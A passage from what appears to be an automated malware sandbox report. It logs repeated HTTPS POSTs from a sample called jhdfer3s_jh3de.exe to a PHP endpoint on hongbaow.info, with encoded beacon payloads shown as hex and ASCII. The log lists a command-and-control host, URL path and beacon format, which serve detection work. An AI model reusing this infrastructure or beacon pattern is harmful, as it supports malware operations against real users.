2025-01-22 07:35:30 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:30 UTC	813	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nmmuxnKEzvf257vl1%2FHj9gSaEw7qmOYYzLf6gageAFiy%2F%2B7U9gOfsdieSsB%2Bict3SEGL4tOjXjwwTVaGye41bSkkYmhdb4TqRW3t5QWIKgL7mx4iOm5zxcWeCru%2Bl%2FFp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dde1eee5c8ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1793&min_rtt=1780&rtt_var=693&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1549893&cwnd=237&unsent_bytes=0&cid=908af790923bf5f7&ts=339&x=0"
2025-01-22 07:35:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49753	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:31 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:35:31 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:35:32 UTC	820	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bx%2F5AgQLXhf4og%2B%2FEAF6STVHHvOXOHGQ17EQlQzLa%2FD28ty84d240NGhkWQ5jYOn0fkD2rhUpwq2Y9KbDHc%2FIPTj4%2FfAE%2FdJG38TUun%2F5py5BtHQpZTdPI77Ublgbi8q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dde27dbd27c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&min_rtt=1800&rtt_var=683&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1170&delivery_rate=1591280&cwnd=218&unsent_bytes=0&cid=fda79413e49c1ed6&ts=342&x=0"
2025-01-22 07:35:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49754	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:34 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:34 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:34 UTC	807	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:34 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZgiczgEAXkcaZX0YRUnCEyyHDlYPA%2BRstzwWdruENtYickZzzbLUgze2a8HiFYGypBbo%2FLwqa%2FyXk9nX0vXkcFw5tRUcRYFJU9eQdO26Gz5jwWidU5PrqJhMuMixFHKv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dde36cfeb4414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1570&min_rtt=1567&rtt_var=594&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1833019&cwnd=180&unsent_bytes=0&cid=00590042a5ce3b5a&ts=338&x=0"
2025-01-22 07:35:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49755	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:37 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:35:37 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:35:37 UTC	812	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8O%2Bgbfuua5uxfDE0Gx5Nz9XM5Lclsvx%2BQjsyTkRZEFRVT14A48JIS9m%2FiYSQEPVEHDe4ZIJgfyd69BfnQiSyvrIQSded%2BcnHFTMddj4P%2FjFi2SStRYzQneBiGwfjSwn9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dde4c5c558ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1765&min_rtt=1757&rtt_var=676&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1170&delivery_rate=1597374&cwnd=237&unsent_bytes=0&cid=24d6279f83d81ade&ts=355&x=0"
2025-01-22 07:35:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49756	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:37 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:37 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:38 UTC	803	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Dj4AYOExCBj54li%2FlLpKRAAc7jgH0lvPgC1V735B4l5tu3nWmHSWAD1jSXePuut6CFZjZn4td6R8ynYJiDDqJWShKywxqQxd4U3kpVHhR9Tu6l2ziQdUL0fMOniF4Z8B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dde4ecd4b7c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1786&min_rtt=1783&rtt_var=675&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1613259&cwnd=218&unsent_bytes=0&cid=3dc36990a3e9f72b&ts=350&x=0"
2025-01-22 07:35:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49757	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:41 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:41 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:42 UTC	807	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:42 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GokQ8AEdyjgySZqg4iYC3R8ou7W2LIAOUhFZyTXFaM5yx0gQhGdE3JYVUG7Enp%2FeW0DSky6QRq4PQaolgOkMjUlv%2BDRN0RZMCgVW48pWm%2BM2PQo5f3haVP2QTM8y8MuO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dde66bd77de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1458&min_rtt=1457&rtt_var=550&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1985044&cwnd=246&unsent_bytes=0&cid=7d4c177148b66195&ts=326&x=0"
2025-01-22 07:35:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49758	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:43 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:35:43 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:35:43 UTC	814	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HyzcLR%2FYh%2B8Grc4oOVkr5%2FQANlFuoNZ8svyXDG%2FnoaJVLCygt3PUgVqdrIVjQx5emxORh%2FxfBCVsVXZLvTYyX4iJoe097rdTkBRpdIyknkBYMazRSJgJ0JX%2BpQcPHxvA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dde70f9034414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1577&rtt_var=596&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1170&delivery_rate=1829573&cwnd=180&unsent_bytes=0&cid=81a84afa306a8293&ts=335&x=0"
2025-01-22 07:35:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49759	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:45 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:45 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:47 UTC	824	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dMK8H5MpH4F2N%2F%2Bxr05AWsmT6yPaNw6I%2Fy%2BXoSaNFWtLtfL9nDv0yxOMbl%2F5cJ8jUkf7t4btBS%2FWbINRDN%2Bi8hO%2F%2F9muh2FLjz4Q9e4SV24MofeW%2BOojl%2BzwsS0QLszJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dde7e9ba18ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1786&min_rtt=1781&rtt_var=679&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1600000&cwnd=237&unsent_bytes=0&cid=f4b9b8ab379cd741&ts=1360&x=0"
2025-01-22 07:35:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49760	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:49 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:35:49 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:35:49 UTC	816	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:49 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ntrR8gJ7Mg9V1%2BPvzEPfb4XHYj3dwJtMd5AjB%2FVGBMsIT%2BMHzpzmq1sZay6v3U2%2FmoGiXau9Yk%2BIJoDDYwsb9vnltcFre9dDt%2FMdBH30j%2F1CP09ksaSxqHpSpByNscTn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dde962e77c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1587&min_rtt=1584&rtt_var=600&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1170&delivery_rate=1814791&cwnd=155&unsent_bytes=0&cid=0754527abe5f9fb1&ts=481&x=0"
2025-01-22 07:35:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49761	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:50 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:50 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:50 UTC	811	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:50 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d%2FhY%2BNF8DPxGJT%2FYJMwRm0GIi1Vmeou%2BuuUV3QJsrlq1pIh3deHgdZXEOaGd9eWmU43odsTju7QvlPrmJuKKm0wdtpvoRtP%2FrfTLWSseXiZAwFzt6ySHf29CXNITlR64"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905dde9d3f3242eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1560&min_rtt=1554&rtt_var=596&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1814791&cwnd=215&unsent_bytes=0&cid=967b4a7016564a52&ts=331&x=0"
2025-01-22 07:35:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49762	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:35:54 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:35:54 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:35:54 UTC	807	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:35:54 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TzDpoUALw4T42KrYKg5Hvz0jcVtnt4Q1Nmj1v1g%2B8%2FzAOmDJEfQGhQKW0iC1dML%2BmDfipNhAvAwhtQTkD0y0AQ6RUaU1NDlVGNFVFLnbmpoGJImccAEjvJfeOK2qdew0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905ddeb33de07c6a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1813&min_rtt=1813&rtt_var=680&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1608815&cwnd=218&unsent_bytes=0&cid=df136f9d869f20e7&ts=349&x=0"
2025-01-22 07:35:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49764	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
